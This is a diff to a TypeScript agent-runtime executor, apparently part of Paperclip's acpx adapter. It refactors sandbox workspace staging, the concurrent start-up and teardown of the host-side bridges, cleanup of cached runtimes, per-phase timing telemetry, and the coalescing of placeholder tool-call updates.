+          runtimeSpan: input.runtimeSpan,
+        }),
+      startProcessSessionBridge: ({ runtimeRootDir, launchEnv }) =>
+        startAdapterExecutionTargetProcessSessionBridge({
+          runId,
+          target: remoteTarget,
+          runtimeRootDir,
+          adapterKey: input.engine.adapterType,
+          command: "sh",
+          args: ["-lc", `exec ${agentCommandShell}`],
+          cwd: sessionCwd,
+          env: launchEnv,
+          timeoutSec,
+          onLog: input.ctx.onLog,
+          getRuntimeParentContext: input.getRuntimeParentContext,
+          runtimeSpan: input.runtimeSpan,
+          streamOutputViaSession: streamAgentSessionOutput,
+        }),
+      measureBridgeStep: (step, run) =>
+        measureStartupStep(input.ctx, nowMs, step, run, concurrentBridgeStepMetrics),
+      finalizeLaunchEnv: (contributions) => finalizeLaunchEnvironment(env, contributions).env,
+      onPaperclipBridgeLog: () =>
+        input.ctx.onLog("stdout", "[paperclip] Sandbox ACP API callback bridge enabled for this run.\n"),
+      stopBridges: async ({ controlBridge, agentBridge }) => {
+        await Promise.allSettled([agentBridge?.stop(), controlBridge?.stop()]);
+        if (remoteManagedHomeTeardown) {
+          await remoteManagedHomeTeardown().catch(() => {});
+        }
+      },
     });
-    sessionStagingLeaseRelease = staged.release;
-    stagedRuntime = staged.value.stagedRuntime;
-    remoteManagedHomeTeardown = staged.value.teardown;
-    remoteStagingDispose = staged.value.dispose;
-    remoteStagingEnvDelta = staged.value.envDelta;
-    // Publish the referenced-project workspace hints to the in-sandbox agent. The staged-directory
-    // map (`project-<projectId>`) is known only after staging above, so this runs here rather than
-    // with the initial workspace shaping. Each referenced hint repoints at its staged directory; a
-    // referenced hint whose project did not stage loses its cwd, so the agent never receives an
-    // unstaged path. Only the confined sandbox lane stages referenced trees, so only it publishes
-    // the hints; the local and runner-less lanes keep their env untouched. The set `env` write wins
-    // over an inherited value in the merged launch env.
-    const stagedProjectDirs = stagedRuntime?.additionalSourceDirs ?? {};
-    if (Object.keys(stagedProjectDirs).length > 0) {
-      const shapedHints = shapePaperclipWorkspaceEnvForExecution({
-        workspaceCwd: effectiveWorkspaceCwd,
-        workspaceWorktreePath,
-        workspaceHints,
-        executionTargetIsRemote,
-        executionCwd: effectiveExecutionCwd,
-        stagedProjectDirs,
-      }).workspaceHints;
-      if (shapedHints.length > 0) {
-        env.PAPERCLIP_WORKSPACES_JSON = JSON.stringify(shapedHints);
-      }
-    }
+    // Place the workspace (stage fresh or reuse the already-staged runtime) under
+    // the per-session staging lease, then read the staged result back onto the
+    // prepared-runtime fields the settlement path consumes.
+    const placeWorkspaceStart = nowMs();
+    await sandboxSite.placeWorkspace({ sessionKey } as unknown as AcpRunContext);
+    await emitRunPhaseTiming(input.ctx, "place_workspace", nowMs() - placeWorkspaceStart, "ok");
+    const placedStaged = sandboxSite.staged;
+    stagedRuntime = placedStaged?.stagedRuntime ?? null;
+    remoteManagedHomeTeardown = placedStaged?.teardown ?? null;
+    remoteStagingDispose = placedStaged?.dispose ?? null;
+    remoteStagingEnvDelta = placedStaged?.envDelta ?? null;
+    sessionStagingLeaseRelease = sandboxSite.stagingLeaseRelease;
   }
   // Both bridge starts run under one try so a failure at EITHER — including the
   // paperclip callback bridge — fires the same abandon-path cleanup. The
@@ -1968,88 +2101,34 @@ async function buildRuntime(input: {
   let paperclipBridge: AdapterExecutionTargetPaperclipBridgeHandle | null = null;
   let processSessionBridge: AdapterExecutionTargetProcessSessionBridgeHandle | null = null;
   let runtimeEnv: Record<string, string> = {};
+  const startTransportStart = nowMs();
   try {
-    if (useRemoteProcessSession) {
-      // Steps 5 + 6 — bring up BOTH host-side sandbox bridges concurrently. Their
-      // remote subtrees are disjoint (`…/paperclip-bridge/…` vs
-      // `…/process-sessions/…`), so the env-INDEPENDENT setup of each overlaps,
-      // trending wall time from serial (~bridge.paperclip + ~bridge.process-session)
-      // toward ~max(the two). The ONE real dependency — the paperclip bridge's
-      // returned `env` must reach the process-session LAUNCH — is sequenced by
-      // `finalizeLaunchEnv`: the process-session bridge runs its env-independent
-      // dir/script setup first, then awaits that thunk right before its launch, so
-      // the launch always observes the merged paperclip env.
-      //
-      // Both `run.startup.step` events still emit — `measureStartupStep` records
-      // them in a `finally`, even on a start failure.
-      const paperclipStart = measureStartupStep(input.ctx, nowMs, "bridge.paperclip", () =>
-        startAdapterExecutionTargetPaperclipBridge({
-          runId,
-          target: { ...executionTarget, streamRunLogs: false },
-          runtimeRootDir: stagedRuntime?.runtimeRootDir ?? null,
-          adapterKey: input.engine.adapterType,
-          timeoutSec,
-          hostApiToken: env.PAPERCLIP_API_KEY,
-          onLog: input.ctx.onLog,
-          getRuntimeParentContext: input.getRuntimeParentContext,
-          runtimeSpan: input.runtimeSpan,
-        }),
-        concurrentBridgeStepMetrics,
-      );
-      // The single sequencing point (paperclip `env` → process-session launch).
-      // Memoized so the merge + log + `runtimeEnv` build run EXACTLY once whether
-      // the process-session bridge consumes it at launch or we finalize it below.
-      let launchEnvPromise: Promise<Record<string, string>> | null = null;
-      const finalizeLaunchEnv = (): Promise<Record<string, string>> =>
-        (launchEnvPromise ??= (async () => {
-          const paperclip = await paperclipStart;
-          if (paperclip) {
-            Object.assign(env, paperclip.env);
-            await input.ctx.onLog("stdout", "[paperclip] Sandbox ACP API callback bridge enabled for this run.\n");
-          }
-          return (runtimeEnv = resolveRuntimeEnv(env));
-        })());
-      const processSessionStart = measureStartupStep(input.ctx, nowMs, "bridge.process-session", () =>
-        startAdapterExecutionTargetProcessSessionBridge({
-          runId,
-          target: executionTarget,
-          runtimeRootDir: stagedRuntime?.runtimeRootDir ?? null,
-          adapterKey: input.engine.adapterType,
-          command: "sh",
-          args: ["-lc", `exec ${agentCommandShell}`],
-          cwd: sessionCwd,
-          // Deferred: the process-session bridge runs its env-independent setup,
-          // then calls this to get the launch env AFTER the paperclip env merge.
-          env: finalizeLaunchEnv,
-          timeoutSec,
-          onLog: input.ctx.onLog,
-          getRuntimeParentContext: input.getRuntimeParentContext,
-          runtimeSpan: input.runtimeSpan,
-          streamOutputViaSession: streamAgentSessionOutput,
-        }),
-        concurrentBridgeStepMetrics,
-      );
-      // Settle BOTH starts (mirrors `cleanupRemoteBridges`' `Promise.allSettled`):
-      // collect whichever handles started plus the first failure. Both handles
-      // stay individually declared so the catch below can stop whichever started.
-      const started = await settleRemoteBridgeStarts(paperclipStart, processSessionStart);
-      paperclipBridge = started.paperclipBridge;
-      processSessionBridge = started.processSessionBridge;
-      if (started.failure) throw started.failure;
-      // Guarantee the paperclip env merge ran even if the process-session bridge
-      // returned without consuming the launch env (memoized ⇒ a no-op if it did).
-      await finalizeLaunchEnv();
+    if (useRemoteProcessSession && sandboxSite) {
+      // The sandbox run site brings up both host-side bridges concurrently, keeps
+      // the one paperclip-env → process-session-launch dependency at a single
+      // sequencing point, settles both starts, and returns the started handles
+      // plus the finalized launch env. On a partial failure it stops nothing and
+      // rethrows; the catch below stops whichever bridge the site started.
+      const transport = await sandboxSite.startTransport({ sessionKey } as unknown as AcpRunContext);
+      paperclipBridge = transport.controlBridge;
+      processSessionBridge = transport.agentBridge;
+      runtimeEnv = transport.launchEnv;
+      await emitRunPhaseTiming(input.ctx, "start_transport", nowMs() - startTransportStart, "ok");
     } else {
-      // Local / runner-less lanes never start a bridge, but the returned prepared
-      // runtime and the log builder still read `runtimeEnv`.
-      runtimeEnv = resolveRuntimeEnv(env);
+      // Local / runner-less lanes never start a bridge, so they add no
+      // contribution. `finalizeLaunchEnvironment` still produces the one branded
+      // launch env the prepared runtime and the log builder read.
+      runtimeEnv = finalizeLaunchEnvironment(env, []).env;
     }
   } catch (err) {
     // On a partial concurrent bring-up failure, ONE bridge may have started while
     // the other threw; `Promise.allSettled` stops whichever started so no live
-    // bridge leaks (mirrors `cleanupRemoteBridges`). Both handles are individually
-    // declared above, so either may be non-null here.
-    await Promise.allSettled([paperclipBridge?.stop(), processSessionBridge?.stop()]);
+    // bridge leaks (mirrors the settlement `stopTransport` step). The site sets its
+    // started bridges before it rethrows, so read them from the site here (the
+    // local handles stay null when `startTransport` throws before it returns).
+    const startedControl = sandboxSite?.controlBridge ?? paperclipBridge;
+    const startedAgent = sandboxSite?.agentBridge ?? processSessionBridge;
+    await Promise.allSettled([startedControl?.stop(), startedAgent?.stop()]);
     // The staged home / copy-back teardown must run even if a bridge fails to
     // start after the workspace + managed home were already staged into the
     // sandbox, so a refreshed credential is copied back on this error path too.
@@ -2057,10 +2136,24 @@ async function buildRuntime(input: {
     // dispose here (it no longer rides the per-run copy-back) — the run is being
     // abandoned, so its staged temp must be released — and release the per-session
     // staging lease so the abandoned run does not strand the next same-session run
-    // (cleanupRemoteBridges, which normally releases it, is never reached here).
+    // (the run root `finally`, which normally releases it, is never reached here).
+    //
+    // Route the dispose through the same ownership-guarded removal
+    // `discardStagedRuntime` uses. When this run BORROWED the cached staged runtime
+    // (a compatible resume), the dispose releases the shared host staged-temp, so
+    // the map entry must go too — otherwise a later resume reuses an entry whose
+    // temp is already gone. The identity guard removes the entry only when the map
+    // still holds this exact staged runtime, so a fresh stage (no cache entry) and
+    // a concurrent run's entry are both left untouched.
     await remoteManagedHomeTeardown?.().catch(() => {});
-    await remoteStagingDispose?.().catch(() => {});
+    await releaseStagedRuntimeEntry({
+      handles: stagedRuntimes,
+      sessionKey,
+      stagedRuntime,
+      dispose: remoteStagingDispose,
+    });
     sessionStagingLeaseRelease?.();
+    await emitRunPhaseTiming(input.ctx, "start_transport", nowMs() - startTransportStart, "failed");
     throw err;
   }
   const overrideCommand = processSessionBridge?.agentCommand ?? agentCommand;
@@ -2074,6 +2167,7 @@ async function buildRuntime(input: {
 
   return {
     acpxAgent,
+    coalescePlaceholderToolUpdates,
     mode,
     // Remote runner-backed → the in-sandbox workspace dir; local / runner-less
     // → the HOST cwd (`sessionCwd` resolves both). Every cwd-keyed session site
@@ -2190,55 +2284,50 @@ function resolveRuntimeEnv(env: Record<string, string>): Record<string, string>
   );
 }
 
-/**
- * Bring up the two host-side sandbox bridges concurrently and settle both.
- *
- * Mirrors `cleanupRemoteBridges`' `Promise.allSettled` idiom (settle, not
- * `Promise.all`): running BOTH starts to completion is what lets the caller STOP
- * a bridge that DID start when its sibling threw — so a partial failure never
- * leaks a live bridge. Returns whichever handles started plus the first failure
- * (paperclip before process-session) for the caller to rethrow through the
- * shared abandon path.
- */
-async function settleRemoteBridgeStarts(
-  paperclipStart: Promise<AdapterExecutionTargetPaperclipBridgeHandle | null>,
-  processSessionStart: Promise<AdapterExecutionTargetProcessSessionBridgeHandle | null>,
-): Promise<{
-  paperclipBridge: AdapterExecutionTargetPaperclipBridgeHandle | null;
-  processSessionBridge: AdapterExecutionTargetProcessSessionBridgeHandle | null;
-  failure: unknown;
-}> {
-  const [paperclip, processSession] = await Promise.allSettled([
-    paperclipStart,
-    processSessionStart,
-  ]);
-  return {
-    paperclipBridge: paperclip.status === "fulfilled" ? paperclip.value : null,
-    processSessionBridge: processSession.status === "fulfilled" ? processSession.value : null,
-    failure:
-      paperclip.status === "rejected"
-        ? paperclip.reason
-        : processSession.status === "rejected"
-          ? processSession.reason
-          : null,
-  };
-}
-
-async function cleanupRemoteBridges(prepared: AcpxPreparedRuntime): Promise<void> {
+// Stop both host-side bridges in one `allSettled`. This is the settlement
+// `stopTransport` effect. The bridge tokens are run-scoped, so they die with the
+// bridges here (Amendment B).
+async function stopRunTransport(prepared: AcpxPreparedRuntime): Promise<void> {
   await Promise.allSettled([
     prepared.processSessionBridge?.stop(),
     prepared.paperclipBridge?.stop(),
   ]);
-  // Runs AFTER the bridges stop (mirrors the CLI finally: stop bridge → restore
-  // workspace). Fires the codex auth copy-back via `restoreWorkspace()` and
-  // removes staged temp dirs. The seam logs and swallows its own failures — an
-  // unclean-teardown copy-back miss is the accepted, loud `refresh_token_reused`
-  // residual on the next host Codex use, never silent HOST-credential corruption
-  // — so a teardown fault never masks or fails the run result here.
+}
+
+// The site sync-back. This is the settlement `syncBack` effect. It runs AFTER the
+// bridges stop (mirrors the CLI finally: stop bridge → restore workspace). It
+// fires the codex auth copy-back via `restoreWorkspace()` and removes staged temp
+// dirs. The seam logs and swallows its own failures — an unclean-teardown
+// copy-back miss is the accepted, loud `refresh_token_reused` residual on the
+// next host Codex use, never silent HOST-credential corruption — so a teardown
+// fault never masks or fails the run result here.
+async function syncBackManagedHome(prepared: AcpxPreparedRuntime): Promise<void> {
   if (prepared.remoteManagedHomeTeardown) {
     await prepared.remoteManagedHomeTeardown().catch(() => {});
   }
-  prepared.sessionStagingLeaseRelease?.();
+  // The per-session staging lease does NOT release here. The settlement releases
+  // it last, in its own `finally`, so a same-session second run cannot re-stage
+  // until this run fully settles and the caller observes the result.
+}
+
+/** How the settlement `endSession` step releases the runtime a run acquired. */
+interface RuntimeSettlementPlan {
+  // "direct" closes the runtime itself and swallows or records the close error;
+  // "warm_or_close" prefers a matching warm entry (which also flushes its stderr).
+  readonly mode: "direct" | "warm_or_close";
+  readonly handle: AcpRuntimeHandle;
+  readonly reason: string;
+  readonly discardPersistentState: boolean;
+  // Drop a matching warm entry after a direct close (the pre-turn and turn-error
+  // paths remove a warm-hit entry that failed).
+  readonly dropWarmEntry: boolean;
+  // Record a direct-close error to the run log; a warm_or_close error is
+  // swallowed. This keeps today's split (the failure paths log, the turn path
+  // swallows).
+  readonly recordCloseError: boolean;
+  // Cancel the running turn with this reason before the close (the turn-error
+  // path cancels before it closes). Null on every other path.
+  readonly cancelTurnReason: string | null;
 }
 
 function renderPaperclipEnvNote(env: Record<string, string>): string {
@@ -2364,16 +2453,40 @@ async function emitAcpxLog(ctx: AdapterExecutionContext, payload: Record<string,
   await ctx.onLog("stdout", `${JSON.stringify(payload)}\n`);
 }
 
+/**
+ * Build the short run summary that Paperclip may auto-post as an issue comment
+ * when the agent leaves no comment of its own.
+ *
+ * Prefer the last non-empty *output* segment after a tool call. Intermediate
+ * "let me check…" narration between tools must not become a 50k-char dump.
+ * Thought-stream text is never included (callers must not push it into segments).
+ */
+export function buildAcpxRunSummary(input: {
+  outputSegments: string[];
+  fallback?: string | null;
+}): string {
+  for (let i = input.outputSegments.length - 1; i >= 0; i -= 1) {
+    const text = (input.outputSegments[i] ?? "").trim();
+    if (text) return text;
+  }
+  const fallback = (input.fallback ?? "").trim();
+  return fallback;
+}
+
 // acpx substitutes a literal "tool call" title when an ACP tool_call_update
 // omits one, which would persist a generic name over the real one ("Terminal",
 // "Read", …) in the stored run log. Remember each call's real title so update
-// lines keep the name durably.
+// lines keep the name durably. Some ACP backends also stream partial tool
+// arguments as one in-progress update per token under this placeholder;
+// adapters that opt into coalescePlaceholderToolUpdates in their acpx config
+// have those updates coalesced until a real title is available.
 const GENERIC_ACP_TOOL_TITLE = "tool call";
 
 async function emitRuntimeEvent(
   ctx: AdapterExecutionContext,
   event: AcpRuntimeEvent,
   toolTitles?: Map<string, string>,
+  coalescePlaceholderToolUpdates?: boolean,
 ) {
   if (event.type === "text_delta") {
     await emitAcpxLog(ctx, {
@@ -2385,6 +2498,22 @@ async function emitRuntimeEvent(
     return;
   }
   if (event.type === "tool_call") {
+    // Coalesce token-by-token argument streaming for adapters that opt in via
+    // their acpx config: skip in-progress updates that still carry only the
+    // unresolved placeholder title. Backends that stream tool arguments
+    // otherwise emit tens of thousands of these per run, flooding the
+    // transcript and pinning the live activity indicator to a generic
+    // "tool call" instead of the real tool. The initial pending event, the
+    // resolved-title in-progress update, and the terminal
+    // completed/failed/cancelled update all still flow through. Adapters that
+    // do not opt in never have an event dropped.
+    if (
+      coalescePlaceholderToolUpdates &&
+      event.status === "in_progress" &&
+      (event.title ?? "").trim() === GENERIC_ACP_TOOL_TITLE
+    ) {
+      return;
+    }
     const eventRecord = event as Record<string, unknown>;
     const toolInput = eventRecord.input;
     let name = event.title ?? "acp_tool";
@@ -2555,7 +2684,12 @@ export function summarizeAcpxTurnUsage(input: {
   return { usage, usageDetail, costUsd, cumulativeCostUsd };
 }
 
-type AcpxExecutionPhase = "ensure_session" | "configure_session" | "turn";
+type AcpxExecutionPhase =
+  | "create_runtime"
+  | "ensure_session"
+  | "configure_session"
+  | "prepare_turn"
+  | "turn";
 
 function describeErrorDiagnostics(err: unknown): {
   errorName: string;
@@ -2705,31 +2839,10 @@ function isResumeFailure(err: unknown): boolean {
   return /resume|load|not found|no session|unknown session|conversation/i.test(message);
 }
 
-async function cleanupIdleHandles(input: {
-  handles: Map<string, RuntimeCacheEntry>;
-  now: number;
-  idleMs: number;
-}) {
-  if (input.idleMs <= 0) return;
-
-  const stale: Array<[string, RuntimeCacheEntry]> = [];
-  for (const entry of input.handles.entries()) {
-    if (input.now - entry[1].lastUsedAt >= input.idleMs) stale.push(entry);
-  }
-  for (const [key, entry] of stale) {
-    await closeWarmHandle({
-      handles: input.handles,
-      key,
-      entry,
-      reason: "paperclip idle cleanup",
-    });
-  }
-}
-
 // Drop staged-runtime entries the session has not touched within the warm-idle
 // window, so the cache does not accumulate abandoned sessions (e.g. every time
 // a config change shifts the fingerprint to a new key). The per-run copy-back
-// already ran on the entry's last run's `cleanupRemoteBridges`; eviction fires
+// already ran on the entry's last run's settlement `syncBack`; eviction fires
 // the entry's one-time `dispose` (host staged-temp cleanup) — the only place
 // the staged temp is removed now that it no longer rides the per-run teardown.
 // A later run of the same session simply re-stages fresh (re-shipping into the
@@ -2792,11 +2905,35 @@ async function discardStagedRuntime(input: {
   prepared: AcpxPreparedRuntime;
 }): Promise<void> {
   const { handles, prepared } = input;
-  const existing = handles.get(prepared.sessionKey);
-  if (existing && prepared.stagedRuntime && existing.stagedRuntime === prepared.stagedRuntime) {
-    handles.delete(prepared.sessionKey);
+  await releaseStagedRuntimeEntry({
+    handles,
+    sessionKey: prepared.sessionKey,
+    stagedRuntime: prepared.stagedRuntime,
+    dispose: prepared.remoteStagingDispose,
+  });
+}
+
+// Ownership-guarded removal + dispose for a staged-runtime cache entry a run owns.
+// Shared by `discardStagedRuntime` (clean-run drop) and the partial-bring-up
+// rollback so both release a borrowed entry the same way:
+//   1. Delete the map entry ONLY when it still holds the exact staged runtime this
+//      run installed or reused (object identity). A concurrent run that replaced
+//      the entry with its own keeps it.
+//   2. Fire this run's own one-time host staged-temp dispose regardless. The
+//      dispose closure is idempotent, so a shared closure re-fired across a reuse
+//      chain is safe.
+async function releaseStagedRuntimeEntry(input: {
+  handles: Map<string, StagedRuntimeCacheEntry>;
+  sessionKey: string;
+  stagedRuntime: PreparedAdapterExecutionTargetRuntime | null;
+  dispose: (() => Promise<void>) | null;
+}): Promise<void> {
+  const { handles, sessionKey, stagedRuntime, dispose } = input;
+  const existing = handles.get(sessionKey);
+  if (existing && stagedRuntime && existing.stagedRuntime === stagedRuntime) {
+    handles.delete(sessionKey);
   }
-  if (prepared.remoteStagingDispose) await prepared.remoteStagingDispose().catch(() => {});
+  if (dispose) await dispose().catch(() => {});
 }
 
 // Per-`sessionKey` async lease: chains each caller after the previous one so
@@ -2861,37 +2998,6 @@ async function closeWarmHandle(input: {
   flushChildStderr(input.entry.childStderrState);
 }
 
-function scheduleIdleHandleCleanup(input: {
-  handles: Map<string, RuntimeCacheEntry>;
-  key: string;
-  entry: RuntimeCacheEntry;
-  idleMs: number;
-  now: () => number;
-}) {
-  clearWarmHandleTimer(input.entry);
-  if (input.idleMs <= 0) return;
-
-  const delayMs = Math.max(1, input.entry.lastUsedAt + input.idleMs - input.now());
-  input.entry.cleanupTimer = setTimeout(() => {
-    void (async () => {
-      const current = input.handles.get(input.key);
-      if (current !== input.entry) return;
-      const idleForMs = input.now() - input.entry.lastUsedAt;
-      if (idleForMs < input.idleMs) {
-        scheduleIdleHandleCleanup(input);
-        return;
-      }
-      await closeWarmHandle({
-        handles: input.handles,
-        key: input.key,
-        entry: input.entry,
-        reason: "paperclip idle cleanup",
-      });
-    })();
-  }, delayMs);
-  input.entry.cleanupTimer.unref?.();
-}
-
 function warmHandleMatches(
   entry: RuntimeCacheEntry | undefined,
   runtime: AcpRuntime,
@@ -3131,6 +3237,24 @@ export function createAcpxEngineExecutor(deps: AcpxEngineExecutorOptions = {}) {
       billingType: billingIdentity?.billingType ?? ("unknown" as const),
     };
     const warmIdleMs = asNumber(ctx.config.warmHandleIdleMs, DEFAULT_ACP_ENGINE_WARM_HANDLE_IDLE_MS);
+    // The host run site owns the warm-handle store on this run. It operates over
+    // the engine's persistent `warmHandles` map, so a warm runtime stays live for
+    // the next compatible resume. The store arms the per-entry idle timer on a
+    // warm save, sweeps idle entries at run start, and closes a released entry
+    // through `closeWarmEntry`. The run reads `warmHandleIdleMs` per run, so the
+    // site takes this run's bound.
+    const hostSite = createHostRunSite({
+      warmHandles,
+      now,
+      idleMs: warmIdleMs,
+      closeWarmEntry: async (entry) => {
+        await entry.runtime
+          .close({ handle: entry.handle, reason: "paperclip idle cleanup", discardPersistentState: false })
+          .catch(() => {});
+        flushChildStderr(entry.childStderrState);
+      },
+    });
+    const hostStore = hostSite.reuse();
     // The `task.run` and `sandbox.startup` spans must not cover a local or SSH
     // run: those runs have no sandbox, so they stay out of sandbox telemetry.
     // Open a real root span only when the target is a remote sandbox and the
@@ -3183,6 +3307,12 @@ export function createAcpxEngineExecutor(deps: AcpxEngineExecutorOptions = {}) {
     // until the run reaches a clean completed turn, so every failure and every
     // early exit closes the span with error status.
     let runFailed = true;
+    // The run's per-session staging lease release. `buildRuntime` returns it on
+    // `prepared` after it acquires the lease; the startup step captures it here so
+    // the run root `finally` can release it as the final settlement act. It stays
+    // null on the host lane (no staging) and on a build failure (where
+    // `buildRuntime` already released its own partial lease).
+    let releaseStagingLease: (() => void) | null = null;
     try {
       // Evict idle staged runtimes BEFORE building the runtime, since buildRuntime
       // consults the staged cache to decide whether a compatible resume may reuse
@@ -3228,8 +3358,98 @@ export function createAcpxEngineExecutor(deps: AcpxEngineExecutorOptions = {}) {
           stepWallSumMs += wallMs;
         },
       };
-      let prepared: AcpxPreparedRuntime;
-      try {
+      // `startupFailed` drives the sandbox.startup span end status. It stays true
+      // until the bring-up establishes a session handle. The one `finally` below
+      // ends the span exactly once, on every return and on every throw.
+      let startupFailed = true;
+      // `buildRuntimeSettled` marks that buildRuntime returned. A failure before it
+      // settled has nothing to settle here; a failure after it settled routes
+      // through the create_runtime handler below.
+      let buildRuntimeSettled = false;
+      // The bring-up assigns these. The turn and teardown paths read them after
+      // the sandbox.startup span closes, so they are declared here.
+      let prepared!: AcpxPreparedRuntime;
+      let runtime!: AcpRuntime;
+      let sessionHandle!: AcpRuntimeHandle;
+      let childStderrState!: ChildStderrState;
+      let processIdentitySink!: AcpxProcessIdentitySink;
+      let resumedSession = false;
+      let clearSession = false;
+      let referencedProjectStagingFailuresField:
+        | { referencedProjectStagingFailures: Array<{ projectId: string; error: string }> }
+        | Record<string, never> = {};
+      const recordTeardownError = async (step: string, teardownErr: unknown) => {
+        const reason = teardownErr instanceof Error ? teardownErr.message : String(teardownErr);
+        await ctx
+          .onLog("stderr", `[paperclip] ACPX teardown step "${step}" failed: ${reason}\n`)
+          .catch(() => {});
+      };
+      // Emit one per-phase timing telemetry event. It is observability-only: it
+      // carries the phase name (from the closed allowlist), the wall time, and the
+      // outcome, and never a command, a path, an environment value, or an
+      // identifier. Telemetry failure never fails the run.
+      const emitPhase = (phase: string, startMs: number, outcome: "ok" | "failed"): Promise<void> =>
+        emitRunPhaseTiming(ctx, phase, now() - startMs, outcome);
+      // Time a settlement step and emit its phase timing on every path. A step
+      // error still emits `failed` before it re-throws to the Phase 3 error policy.
+      const timedPhase = async (phase: string, run: () => Promise<void> | void): Promise<void> => {
+        const start = now();
+        try {
+          await run();
+        } catch (error) {
+          await emitPhase(phase, start, "failed");
+          throw error;
+        }
+        await emitPhase(phase, start, "ok");
+      };
+      // The turn the run started. It is hoisted to the run scope so the settlement
+      // `endSession` step can cancel a running turn before it closes the runtime
+      // (the cancel-before-close order). The turn wrapper assigns it in `turnStart`.
+      let activeTurn: AcpRuntimeTurn | null = null;
+      // How the settlement `endSession` step must release the runtime for the path
+      // this run took. Each exit path that acquired the runtime records it before it
+      // returns; a build or create-runtime failure never registers the runtime, so
+      // the step no-ops on the empty slot and this stays null.
+      let runtimeSettlement: RuntimeSettlementPlan | null = null;
+      // A synthetic close handle from the prepared identity, for a close that has no
+      // established session handle (a cold `ensureSession` throw or a missing
+      // handle). `runtime.close` reads the session key and the runtime session name.
+      const syntheticCloseHandle = (): AcpRuntimeHandle => ({
+        sessionKey: prepared.sessionKey,
+        backend: prepared.acpxAgent,
+        runtimeSessionName: prepared.sessionKey,
+      });
+      // The run coordinator owns the one ledger for the attempt. The engine
+      // creates it here, passes it into `buildRuntime` (the sandbox site registers
+      // what it acquires into it), and hands it to `runAttempt` as the plan
+      // ledger. The turn and settlement code still runs inline in the step
+      // wrappers below; Phases 21-22 move it into its own modules.
+      const runResourceLedger = createRunResourceLedger();
+      // The step wrappers build the external result inline (today's behavior) and
+      // record it here; the coordinator reproduces it after settlement. An empty
+      // consumed set satisfies the `settle` result shape without claiming the run
+      // ledger, because the inline teardown reads `prepared.*`, not the ledger, in
+      // this phase.
+      let capturedResult: AdapterExecutionResult | null = null;
+      const emptyConsumed = createRunResourceLedger().takeForSettlement();
+      // Build the `settle` startup result for a pre-turn failure. The step wrapper
+      // already recorded the external result and ran the inline teardown; this
+      // carries only the routing kind and the cause for the coordinator.
+      const settleFor = (phase: PreTurnFailedCause["phase"], error: unknown): StartupResult => ({
+        kind: "settle",
+        cause: {
+          kind: "pre_turn_failed",
+          phase,
+          error: error instanceof Error ? error : new Error(String(error)),
+        },
+        resources: emptyConsumed,
+      });
+      // The startup step: bring up the runtime, establish the session, and apply
+      // the session config. It returns `ready` on success, `settle` on a pre-turn
+      // failure after the ledger acquired resources, and throws on a build failure
+      // or a partial-bridge failure (the coordinator owns that rollback).
+      const startup = async (): Promise<StartupResult> => {
+       try {
         // Publish the `sandbox.startup` context to the runtime-parent store for
         // the whole bring-up. A startup-body exec that runs outside a measured
         // step reads this token and parents its span to `sandbox.startup`, not to
@@ -3238,202 +3458,330 @@ export function createAcpxEngineExecutor(deps: AcpxEngineExecutorOptions = {}) {
         // parents to its step span. On a local or SSH target
         // `spanParent.parentContext` is a no-op token, so the wrap is inert.
         prepared = await runWithRuntimeParent(spanParent.parentContext, () =>
-          buildRuntime({ ctx, engine, deps, spanParent, getRuntimeParentContext, runtimeSpan: runRuntimeSpan, stageRuntimeSpan: runStageSpan }),
+          buildRuntime({
+            ctx,
+            engine,
+            deps,
+            ledger: runResourceLedger,
+            stagedIdleMs: warmIdleMs,
+            spanParent,
+            getRuntimeParentContext,
+            runtimeSpan: runRuntimeSpan,
+            stageRuntimeSpan: runStageSpan,
+          }),
         );
-      } catch (err) {
-        rootSpan.end(true);
-        throw err;
-      }
-      // Per-project staging outcomes for the referenced (mentioned) projects, surfaced back to the
-      // server on the run result. A referenced project that failed to stage into the sandbox is a
-      // first-class, counted failure in the requested-vs-synced observability, not only a warning. The
-      // list is empty on a local target, on a transport that does not stage referenced projects, or
-      // when every staged referenced project succeeded, so the spread adds the field only when there
-      // is a failure to report.
-      const referencedProjectStagingFailures = (
-        prepared.stagedRuntime?.additionalSourceFailures ?? []
-      ).map((failure) => ({ projectId: failure.projectId }));
-      const referencedProjectStagingFailuresField =
-        referencedProjectStagingFailures.length > 0 ? { referencedProjectStagingFailures } : {};
-      // State the effective wall-clock timeout and its source up front so a
-      // later timeout is diagnosable from the run log alone. Goes to stderr:
-      // the acpx stdout log stream carries JSON acpx.* event payloads and must
-      // stay machine-parseable line by line.
-      await ctx.onLog(
-        "stderr",
-        `[paperclip] ${formatAdapterExecutionTimeoutStartLogLine(prepared.timeoutResolution)}\n`,
-      );
-      await cleanupIdleHandles({ handles: warmHandles, now: now(), idleMs: warmIdleMs });
-
-      const previousParams = parseObject(ctx.runtime.sessionParams);
-      const canResume = isCompatibleSession(previousParams, prepared);
-      const resumeSessionId = canResume ? asString(previousParams.acpSessionId, "") || undefined : undefined;
-      const cached = canResume ? warmHandles.get(prepared.sessionKey) : undefined;
-      const childStderrState = cached?.childStderrState ?? { logPath: null, pendingLiveLine: "" };
-      const processIdentitySink = cached?.processIdentitySink ?? {
-        current: ctx.onSpawn,
-        latest: null,
-      };
-      // ACPX runtimes can stay warm across heartbeat runs. Keep the callback
-      // target mutable so a later agent respawn records identity on the current
-      // heartbeat instead of the run that originally created the runtime.
-      processIdentitySink.current = ctx.onSpawn;
-      flushChildStderr(childStderrState);
-      childStderrState.logPath = prepared.childStderrLogPath;
-      const runtimeOptions: PaperclipAcpRuntimeOptions = {
-        cwd: prepared.cwd,
-        // Host-only spawn cwd for the relay proxy on the remote process-session
-        // lane; `undefined` elsewhere so acpx falls back to `cwd` (byte-identical).
-        // The advertised `session/new` cwd (`prepared.cwd` = `remoteCwd`) and the
-        // fingerprint / compat key are unaffected — this redirects ONLY the host
-        // `spawn()` `chdir`, not the in-sandbox data path.
-        spawnCwd: prepared.hostSpawnCwd,
-        sessionStore: createRuntimeStore({ stateDir: prepared.stateDir }),
-        agentRegistry: prepared.agentRegistry,
-        permissionMode: prepared.permissionMode,
-        nonInteractivePermissions: prepared.nonInteractivePermissions,
-        mcpServers: prepared.mcpServers,
-        timeoutMs: prepared.timeoutSec > 0 ? prepared.timeoutSec * 1000 : undefined,
-        // Scope ACPX runtime verbose logs to the claude agent only. Codex
-        // and custom agents already emit their own per-tool output and don't
-        // benefit from doubling the log volume.
-        verbose: prepared.acpxAgent === "claude",
-        onAgentStderr: prepared.childStderrLogPath
-          ? (chunk) => routeChildStderr(childStderrState, chunk)
-          : undefined,
-        onAgentSpawn: async (meta) => {
-          processIdentitySink.latest = meta;
-          await processIdentitySink.current?.({
-            pid: meta.pid,
